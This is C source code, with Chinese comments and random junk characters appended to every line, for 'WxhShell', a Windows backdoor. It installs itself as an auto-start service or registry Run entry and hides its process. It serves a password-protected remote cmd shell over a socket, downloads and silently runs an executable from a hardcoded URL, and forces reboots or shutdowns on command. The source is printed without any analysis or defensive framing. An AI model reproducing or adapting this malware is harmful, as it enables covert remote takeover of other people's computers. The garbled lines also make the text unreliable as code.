    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0Sj B&J  
    if(Boot(SHUTDOWN)) y5{Vx{V"Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &J?:wC=E  
    else { C'7DG\pr  
    closesocket(wsh); *fCmZ$U:{  
    ExitThread(0); % * k`z#b  
    } &+5ij;AD  
    break; @}\i`H1s  
    } =u-q#<h4 ;  
  // 获取shell ~pT1,1  
  case 's': { j-cp  
    CmdShell(wsh); +)hxYLk&I  
    closesocket(wsh); 5 ) q_Aro  
    ExitThread(0); 1/f{1k  
    break; !,|-{":  
  } =PF2p'.o  
  // 退出 W{%X1::q$  
  case 'x': { 4/ WKR3X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HLkI?mW<  
    CloseIt(wsh); uUiS:Tp]  
    break; R<B5<!+  
    } %M3L<2  
  // 离开 -UM|u_  
  case 'q': { bvOnS0,y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5sANF9o!  
    closesocket(wsh); TSD7R  
    WSACleanup(); I7wR[&L885  
    exit(1); k;B[wEW@  
    break; "}"/d(  
        } ;F|#m,2Q-  
  } 7},oY"" 8  
  } H:|.e)$i  
.{t*v6(TP  
  // 提示信息 Xj{gyLs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A=0{}B#  
} P!"{-m'  
  } qm"SN<2S*  
\HIBnkj)3n  
  return; wH$qj'G4CN  
} h% KEg667  
:%z#s  
// shell模块句柄 z4 <_>)p  
int CmdShell(SOCKET sock) YKz#,  
{ Y0Tad?iC  
STARTUPINFO si; _9]vlxgtG(  
ZeroMemory(&si,sizeof(si)); +HPcv u?1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qw$9i.Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pSbtm74  
PROCESS_INFORMATION ProcessInfo; 2{.g7bO  
char cmdline[]="cmd"; (uDAdE5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S]ayH$w\Q  
  return 0; 4/%fpU2  
} B~^*@5#0|  
}AA">FF'y4  
// 自身启动模式 '#yqw%  
int StartFromService(void) `Th~r&GvF  
{ hsQDRx%H}  
typedef struct Xy%||\P{)  
{ 1)^\R(l  
  DWORD ExitStatus; 2 F>Y{3&  
  DWORD PebBaseAddress; "{r8'qn  
  DWORD AffinityMask; AmHj\NX$  
  DWORD BasePriority; SzIzQR93&  
  ULONG UniqueProcessId; $cK}Tl q  
  ULONG InheritedFromUniqueProcessId; g<(!>:h  
}   PROCESS_BASIC_INFORMATION; [.^ol6  
`kuu}YUi  
PROCNTQSIP NtQueryInformationProcess; ;-8.~Sm  
?$K-f:?c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r-wCAk}m*?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (D%vN&F  
<!g]q1  
  HANDLE             hProcess; /6Q]f  
  PROCESS_BASIC_INFORMATION pbi; jan}}7Dly  
1$eoW/8.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sWo}Xq#  
  if(NULL == hInst ) return 0; :P}3cl_  
[:.wCG5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kBhjqI*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ij7P-5=<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OA*O =  
9c[X[ Qc  
  if (!NtQueryInformationProcess) return 0; u+Ix''Fn#%  
)-_^vB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8 7(t<3V&  
  if(!hProcess) return 0; U!o7Nw@ z  
~w3u(X$m"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V\Gs&>  
u0Wt"d-=  
  CloseHandle(hProcess); ppRmC,0f^  
F<k+>e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  Rpgg :  
if(hProcess==NULL) return 0; RbL?(  
mFF4qbe  
HMODULE hMod; `=H*4I-"  
char procName[255]; 6&os`!  
unsigned long cbNeeded; ekvs3a^  
}yK7LooM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VIz(@  
>t3_]n1e  
  CloseHandle(hProcess); gZ4' w`4r  
YK6LJv}  
if(strstr(procName,"services")) return 1; // 以服务启动 ]0."{^ksL  
Z?{\34lPj  
  return 0; // 注册表启动 g8N"-j&@  
} &N^~=y^`C'  
E xhih^[_  
// 主模块 U0_)J1Yp  
int StartWxhshell(LPSTR lpCmdLine) `f;w  
{ bFX{|&tHU  
  SOCKET wsl; OM[MRZEh G  
BOOL val=TRUE; AB'+6QU9k  
  int port=0; LZn'+{\`  
  struct sockaddr_in door; ri{*\LV*@  
^[7Mp  
  if(wscfg.ws_autoins) Install(); %3a-@!|1<  
mcV<)UA}  
port=atoi(lpCmdLine); Qb^G1#r@C  
#SHeK 4  
if(port<=0) port=wscfg.ws_port; 7<xnE]jdq  
 pX_#Y)5  
  WSADATA data; Q]K` p(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G x[ZHpy;  
@GN2v,WA?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PyQ .B*JJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +]%S}<R  
  door.sin_family = AF_INET; \P.h;|u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5!F;|*vC8  
  door.sin_port = htons(port); ]j3>=Jb;  
g0grfGo2p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &'z_:Wm  
closesocket(wsl); gyvrQ, u  
return 1; `NW/Z/_  
} -$Z1X_~;)<  
/]`@.mZ9:  
  if(listen(wsl,2) == INVALID_SOCKET) { "|8oFf)l@B  
closesocket(wsl); (A~7>\r +  
return 1; BmX'%5ho  
} ^ #:;6^Su  
  Wxhshell(wsl); OMLU ;,4  
  WSACleanup(); *9j'@2!M  
-%` ~3*L  
return 0; D;Qx9^.  
|owr?tC  
} _@ao$)q{J  
!J7`frv"(  
// 以NT服务方式启动 +Ryj82;59z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t$!zgUJ  
{ >G5aFk  
DWORD   status = 0; 59Pc:Gg;  
  DWORD   specificError = 0xfffffff; ^@^8iZ  
7%^G ]AFi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P)Adb~r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uFWA] ":is  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b9j}QK  
  serviceStatus.dwWin32ExitCode     = 0; $Z G&d  
  serviceStatus.dwServiceSpecificExitCode = 0; |}G"^r  
  serviceStatus.dwCheckPoint       = 0; 2)=whnFS  
  serviceStatus.dwWaitHint       = 0; 9<Pg2#*N0  
!K-1tp$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +fVvH  
  if (hServiceStatusHandle==0) return; *?m)VvR>|  
agUdI_'~@9  
status = GetLastError(); {>ba7-Cy+y  
  if (status!=NO_ERROR) UXct+l  
{ %L.S~dN6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  :xsZz$  
    serviceStatus.dwCheckPoint       = 0; KTm^}')C8  
    serviceStatus.dwWaitHint       = 0; *Dp&;,b  
    serviceStatus.dwWin32ExitCode     = status; S F)$b  
    serviceStatus.dwServiceSpecificExitCode = specificError; x@  =p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |ty&}'6C  
    return; .V;,6Vq  
  } fV"Y/9}(  
mV^w|x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ? $B4'wc5  
  serviceStatus.dwCheckPoint       = 0; H(^Eh v>  
  serviceStatus.dwWaitHint       = 0; Q,NnB{R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ; <FAc R  
} L0![SE>  
]t 0o%w  
// 处理NT服务事件,比如:启动、停止 }U7IMONU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )q<VZ|V  
{ WDw<kX6p  
switch(fdwControl) Gpu[<Z4  
{ 0ca0-vY  
case SERVICE_CONTROL_STOP: V[.{cY ?6  
  serviceStatus.dwWin32ExitCode = 0; /gu VA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EE'2<"M  
  serviceStatus.dwCheckPoint   = 0; ika*w  
  serviceStatus.dwWaitHint     = 0; +C`!4v\n  
  { 5RLO}Vn]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8O^x~[sQ  
  } b()8l'x_|K  
  return; "W5MZ  
case SERVICE_CONTROL_PAUSE: C@-Hm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q h@Q6  
  break; 0Jv6?7]LKa  
case SERVICE_CONTROL_CONTINUE: ;W{z"L;nX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x;[)#>.'  
  break; v o:KL%)  
case SERVICE_CONTROL_INTERROGATE: 'wPX.h?  
  break; o*$KiD  
}; S[L@8z.Sj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'N{1b_v?  
} pqg2#@F.  
72| gzm  
// 标准应用程序主函数 *$7^.eHfdd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y's=31G@  
{ 1'~+.92Y  
-, +o*BP  
// 获取操作系统版本 }<G a e5  
OsIsNt=GetOsVer(); .yF-<Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZvuY] =^3  
ok--Jyhv#  
  // 从命令行安装 nIH(2j  
  if(strpbrk(lpCmdLine,"iI")) Install(); E `N`  
igOX0  
  // 下载执行文件 9{u/|,rq1  
if(wscfg.ws_downexe) { di_N}x*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =)y$&Ydj  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,pcyU\68v  
} eZ) |m  
i8<5|du&?  
if(!OsIsNt) { ~a=]w#-KD  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gad&3M0r  
HideProc(); 5@.8O VPz  
StartWxhshell(lpCmdLine); {{A=^rr%C  
} g?1bEOA!  
else xD7Y"%Pbx  
  if(StartFromService()) +2E~=xX  
  // 以服务方式启动 (q"S0{  
  StartServiceCtrlDispatcher(DispatchTable);  V13^SVM  
else H"+|n2E^  
  // 普通方式启动 b0f6?s  
  StartWxhshell(lpCmdLine); 937<:zo:  
5UL5C:3R9  
return 0; Gyu =}  
} 2P57C;N8|  
@bkSA  
4xx?x/q  
 OG IN-  
=========================================== yj,+7[)  
IL8&MA%  
7<Ut/1$MI  
1\f8-:C  
,J*#Ixe}  
Iq;a!Lya-  
" ({rescQB  
(>D{"}  
#include <stdio.h> A|L-;P NP  
#include <string.h> M>Ws}Y  
#include <windows.h> NLWj5K)1P  
#include <winsock2.h> (j}Wt8  
#include <winsvc.h> Q!Dr3x  
#include <urlmon.h> UJX5}36  
[0NH#88ym<  
#pragma comment (lib, "Ws2_32.lib") +fF4]WF P  
#pragma comment (lib, "urlmon.lib") JENq?$S  
e3&.RrA  
#define MAX_USER   100 // 最大客户端连接数 Jxb+NPUB  
#define BUF_SOCK   200 // sock buffer fl9J  
#define KEY_BUFF   255 // 输入 buffer +QrbW  
Se5jxV  
#define REBOOT     0   // 重启 Q5v_^O<!  
#define SHUTDOWN   1   // 关机 :'dH)yO  
$ "^yoL  
#define DEF_PORT   5000 // 监听端口 0w l31k{  
$VE=sS.  
#define REG_LEN     16   // 注册表键长度 5E|/n(  
#define SVC_LEN     80   // NT服务名长度 c/}bx52>u  
ab5z&7Re6  
// 从dll定义API (OK;*ZH+T@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2:S 4M.j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I%G6V a@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sz b],)|18  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [^-DFq5@  
V-iY2YiR  
// wxhshell配置信息 A[oxG;9xi  
struct WSCFG { ,NaNih1  
  int ws_port;         // 监听端口 n.xW"omN  
  char ws_passstr[REG_LEN]; // 口令 q>ps99[=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]^^mJt.Iv  
  char ws_regname[REG_LEN]; // 注册表键名 djcC m5m  
  char ws_svcname[REG_LEN]; // 服务名 Q<pL5[00fD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h|1 /Q (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {o[ *S%Z"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F .JvMy3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pTJJ.#$CEF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {)0"?$C_H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RI_3X5.KQ  
paW7.~3 R  
}; 7].FdjT.  
M1T)e9k=x  
// default Wxhshell configuration #Hr>KQ5mJQ  
struct WSCFG wscfg={DEF_PORT, C_= WL(  
    "xuhuanlingzhe", =7mn= w?  
    1, .qCD(XZ+  
    "Wxhshell", /u 8m|S<  
    "Wxhshell", >{^&;$G+*  
            "WxhShell Service", (TV ye4Z  
    "Wrsky Windows CmdShell Service", X)|b_3Z  
    "Please Input Your Password: ", Hb;#aXHSd  
  1, 0ZXG{Gp9S  
  "http://www.wrsky.com/wxhshell.exe", 5Vzi{y/bL  
  "Wxhshell.exe" [huS"1  
    }; n LZ  
!(soMv  
// 消息定义模块 {(#>%f+|C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4cni_m]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C0X_t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z5v)~+"1  
char *msg_ws_ext="\n\rExit.";  c6;tbL  
char *msg_ws_end="\n\rQuit."; . j}dk.#h  
char *msg_ws_boot="\n\rReboot..."; VSCOuNSc  
char *msg_ws_poff="\n\rShutdown..."; &C+pen) Z  
char *msg_ws_down="\n\rSave to "; "Fu*F/KW  
mpBSd+ ;Z  
char *msg_ws_err="\n\rErr!"; %W=S*"e-  
char *msg_ws_ok="\n\rOK!"; u+GtH;<;  
CCOd4  
char ExeFile[MAX_PATH]; %+U.zd$  
int nUser = 0; fYR*B0tu  
HANDLE handles[MAX_USER]; i*'6"  
int OsIsNt; z )2h\S  
CxC&+';  
SERVICE_STATUS       serviceStatus; ++Qg5FukR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C&b^TLe  
SNB >  
// 函数声明 ^9 gFW $]  
int Install(void); Lf|5miO  
int Uninstall(void); E-_FxBw  
int DownloadFile(char *sURL, SOCKET wsh); vd>X4e ^j  
int Boot(int flag); n5X0Gi9  
void HideProc(void); j_VTa/  
int GetOsVer(void); < ) L'h  
int Wxhshell(SOCKET wsl); 't:|>;Wx  
void TalkWithClient(void *cs); A>8uLO G}  
int CmdShell(SOCKET sock); Bkvh]k;F8  
int StartFromService(void); @sRUl ,M;Z  
int StartWxhshell(LPSTR lpCmdLine); 4i>sOP3 B  
j'#M'W3@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /l-lkG5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >L F y:a  
C~Fdo0D  
// 数据结构和表定义 !%<bLD8  
SERVICE_TABLE_ENTRY DispatchTable[] = o qa]iBO  
{ 2yk32|  
{wscfg.ws_svcname, NTServiceMain}, SR@yG:~  
{NULL, NULL} Sdl1k+u  
}; FMCX->}$  
_Gv[ D  
// 自我安装 hce *G@b  
int Install(void) _zq"<Q c  
{ &L[7jA'[J  
  char svExeFile[MAX_PATH]; #gzY _)E  
  HKEY key; ;*K@8GnU  
  strcpy(svExeFile,ExeFile); z yyt`  
8.4 1EKr2  
// 如果是win9x系统,修改注册表设为自启动 ]3Z?Q  
if(!OsIsNt) { E^z\b *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,2\?kPoc8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &eYnO~$!  
  RegCloseKey(key); ns|)VX   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Fx:w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / 4P+  
  RegCloseKey(key); bi`{ k\3A  
  return 0; *GxOiv7"4W  
    } {[~cQgCI  
  } es}j6A1  
} 'r;C( Gh6  
else { Ve,h]/G  
j{00iA}  
// 如果是NT以上系统,安装为系统服务 W`HO Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9aYDi)  
if (schSCManager!=0) * 7: )k  
{ H'N$Vv2q  
  SC_HANDLE schService = CreateService ~^#F5w"  
  ( T~B'- >O  
  schSCManager, >05_#{up  
  wscfg.ws_svcname, 1<Fh aK  
  wscfg.ws_svcdisp, @]$qJFXx  
  SERVICE_ALL_ACCESS, Wez"E2J`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2n}nRv/'  
  SERVICE_AUTO_START, ^6*LuXPv  
  SERVICE_ERROR_NORMAL, Ul@ Jg    
  svExeFile, "YLH]9"=  
  NULL, oNV5su  
  NULL, x|B$n } B  
  NULL, (ATvH_Z  
  NULL, a&yIH;-  
  NULL @.T w*t  
  ); >Xz P'h  
  if (schService!=0) UO%Vu C5B  
  { WU oGIT'  
  CloseServiceHandle(schService); K}^Jf ;  
  CloseServiceHandle(schSCManager); BPAz.K Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c-S_{~~  
  strcat(svExeFile,wscfg.ws_svcname); &%YFO'>>}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ('1k%`R%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &mebpEHUG7  
  RegCloseKey(key); UPtWj8h  
  return 0; 1S !<D)n  
    } HA}pr6Z  
  } iy&*5U  
  CloseServiceHandle(schSCManager); (GnwK1f  
} )u{)"m`&[J  
} ![O@{/  
lNV%R(  
return 1; **I9Nw!IH  
} }hT1@I   
Bsm>^zZ`YU  
// 自我卸载 @d5G\1(%  
int Uninstall(void) ;bJ2miO"e  
{ N7lWeF  
  HKEY key; %\=oy=f  
p^_E7k<ag  
if(!OsIsNt) { U'i L|JRF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {V& 2k9*  
  RegDeleteValue(key,wscfg.ws_regname); ~;/\l=Xl  
  RegCloseKey(key); U].u) g$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ck,.4@\tK  
  RegDeleteValue(key,wscfg.ws_regname); B"O5P>  
  RegCloseKey(key); iR-MuDM  
  return 0; )r O`K  
  } %9|=\# G  
} zdA:K25"  
} + ~ro*{3  
else { Yx&cnDx  
o;Zoj}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sNvT0  
if (schSCManager!=0) (Wq9YDD@  
{ LO.4sO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IN%>46e`  
  if (schService!=0) l m  
  { E<\\'VF  
  if(DeleteService(schService)!=0) { NWAF4i&$  
  CloseServiceHandle(schService); izC>-  
  CloseServiceHandle(schSCManager); Ra{B8)Q  
  return 0; w4x8 Sre  
  } ry\']\k  
  CloseServiceHandle(schService); II8nz[s  
  } uqUo4z5T  
  CloseServiceHandle(schSCManager); ul?BKV+3E  
} |gVO Iq  
} [5VUcXGt*\  
zoJ;5a.3B  
return 1; f3N:MH-c  
} 7&3URglsL"  
l(5-Cr  
// 从指定url下载文件 z~ H Gc"~  
int DownloadFile(char *sURL, SOCKET wsh) KVR}Tp/R  
{ ' XF`&3 i  
  HRESULT hr; O0~d6Ba   
char seps[]= "/"; /pU6trIM  
char *token; *r`Yz}  
char *file; ?6QJP|kE  
char myURL[MAX_PATH]; xu =B  
char myFILE[MAX_PATH]; j0~3[dyqU  
tD]&et  
strcpy(myURL,sURL); v-3zav  
  token=strtok(myURL,seps); `I8^QcP  
  while(token!=NULL) .A\\v6@  
  { tA-B3 ]  
    file=token; <L~xR5  
  token=strtok(NULL,seps); D-GU"^-9  
  } !XG&=Rd?  
bUN,P"  
GetCurrentDirectory(MAX_PATH,myFILE); ~ ZL`E  
strcat(myFILE, "\\"); 2&0<$>  
strcat(myFILE, file);  +Rgw+o  
  send(wsh,myFILE,strlen(myFILE),0); @;fE%N  
send(wsh,"...",3,0); 38rZ`O*D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "Y]ZPFh#.  
  if(hr==S_OK) } +4Bf+u:  
return 0; <83gn :$  
else U"+ ry.3`  
return 1; Z9m;@<%  
\83A|+k  
} yim$y, =d  
9r nk\`E  
// 系统电源模块 Kk>qgi$  
int Boot(int flag) ky[Xf -9#  
{ P! Ed  
  HANDLE hToken; bH/pa#G(  
  TOKEN_PRIVILEGES tkp; fq'Xy9L  
;3|Lw<D5;  
  if(OsIsNt) { KVM@//:{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "&#W Mi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0BB @E(*  
    tkp.PrivilegeCount = 1; iW@Vw{|i I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P5}[*k%DQw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rca Os  
if(flag==REBOOT) { ]cqZ!4?_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R96o8#7Uv  
  return 0; C^ " Hj  
} :aq>  
else { NhoS7 y(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !)/iRw9re  
  return 0; 4@]xn  
} =x0"6gTz>  
  } \ U*-w:+@  
  else { @`;Y/',  
if(flag==REBOOT) { mu6xL QdA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6eUiI@J  
  return 0; R;E"Qdt  
} K-EI?6`xM  
else { tM$0 >E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9U<)_E<y  
  return 0; 5Vqmv<F;$Z  
} # 5f|1O  
} bj7MzlGFy  
rF'^w56  
return 1; -hVv  
} y/}VtD  
*2Vp4  
// win9x进程隐藏模块 '!fFI1s  
void HideProc(void) ^wO_b'@v  
{ 7c29Ua~[  
QFNz9c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B) *#g  
  if ( hKernel != NULL ) Jl> at  
  { \Qi#'c$5+a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nrS[7~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GIC"-l1\  
    FreeLibrary(hKernel); ll(e,9.D  
  } V8nz-DL{  
sw$R2K{y  
return; Ql q#Zdru  
} V|3yZ8lE  
miG; ]-"^  
// 获取操作系统版本 T+K` ^xv_L  
int GetOsVer(void) Pu$kj"|q*[  
{ Krp <bK6  
  OSVERSIONINFO winfo; o0aO0Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &N/|(<CB  
  GetVersionEx(&winfo); 0H OoKh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [GR|$/(z=  
  return 1; &h7smZO5j  
  else W( &Go'9e"  
  return 0; v7o?GQ75  
} b:FEp'ZS  
mh A~eJ  
// 客户端句柄模块 J|gdO+  
int Wxhshell(SOCKET wsl) p|h.@do4   
{ `W"a! ,s2  
  SOCKET wsh; Hi; K"H]x1  
  struct sockaddr_in client; 7m|`tjQ1  
  DWORD myID; u8-a-k5<  
X+dR<GN+YX  
  while(nUser<MAX_USER) Q$xa  
{ %uGleY]~  
  int nSize=sizeof(client); Q^a&qYK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +=ZWau   
  if(wsh==INVALID_SOCKET) return 1; '[>\N4WD  
MB ]#%g&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v%H"_T  
if(handles[nUser]==0) yxaT7Oqh%  
  closesocket(wsh); =@xN(] (  
else o,?!"*EP  
  nUser++; F5FNhuC  
  } iEiu%T>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Cz1C  
cr76cYq"Q  
  return 0; "%{,T  
} q%OcLZ<,  
9U#\nXM  
// 关闭 socket t2=a(N-/,  
void CloseIt(SOCKET wsh) ~hS3*\^~M  
{ d>lt  
closesocket(wsh); {V}t'x`4c  
nUser--; 44\!PYf7  
ExitThread(0); J?._/RL8-  
} n 11LxGwk  
#,@bxsB  
// 客户端请求句柄 <_"B}c/2$  
void TalkWithClient(void *cs) 7#~4{rjg  
{ !cRfZ  
} sf YCz  
  SOCKET wsh=(SOCKET)cs; By2s']bw  
  char pwd[SVC_LEN]; J"diFz+20  
  char cmd[KEY_BUFF]; yt. f!"  
char chr[1]; *R5`.j =  
int i,j; {bT9VZ>  
 ci`zR9Ks  
  while (nUser < MAX_USER) { 7e1dEgn  
gh TcB  
if(wscfg.ws_passstr) { 9Hu d|n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `q%U{IR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ks#A<! ;=  
  //ZeroMemory(pwd,KEY_BUFF); !6M Bxg>  
      i=0; G@9u:\[l  
  while(i<SVC_LEN) { Yg/}ghF\  
nt=x]wEC  
  // 设置超时 %Ys$@dB  
  fd_set FdRead; K]X` sH:  
  struct timeval TimeOut; VKy5=2&  
  FD_ZERO(&FdRead); G%S6$@:  
  FD_SET(wsh,&FdRead); ;>DHD*3X  
  TimeOut.tv_sec=8; {|z#70  
  TimeOut.tv_usec=0; $`pd|K`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Dv@ PAnk3C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U 2bzUxK  
<|a=hHPi:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IhE9snJ[  
  pwd=chr[0]; s D_G)c  
  if(chr[0]==0xd || chr[0]==0xa) { rIVvO  
  pwd=0; '@bJlJB9>  
  break; ?mMW*ico  
  } _%{0?|=  
  i++; oCVku:.  
    } |H W( vA  
&iNS?1a%f=  
  // 如果是非法用户,关闭 socket jJia.#.Ze  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C`NmZwL  
} xI?0N<'.*q  
} ~F~hf>s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q ]"jD#F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G6V/SaD  
MU1E_"Z)  
while(1) { hU" F;4p  
($62o&I  
  ZeroMemory(cmd,KEY_BUFF); RDJ+QOVKg  
F+uk AT  
      // 自动支持客户端 telnet标准   q jz3<`7-  
  j=0; B`{mdjMy  
  while(j<KEY_BUFF) { RBE7485  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;1`!wG-DD  
  cmd[j]=chr[0]; < bFy(+  
  if(chr[0]==0xa || chr[0]==0xd) { Uyk,.*8"  
  cmd[j]=0; 1`JB)9P  
  break; \GL*0NJ  
  } ,?(ciO)  
  j++; vk'rA{x  
    } c<4F4k7  
mb1Vu  
  // 下载文件 CxDcY  
  if(strstr(cmd,"http://")) { s8vKKvs`9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G;s"h%Xw98  
  if(DownloadFile(cmd,wsh)) _ie.|4k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQc@lR!  
  else Fp%Ln(/m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m Ni2b*k  
  } 89H sPB1"t  
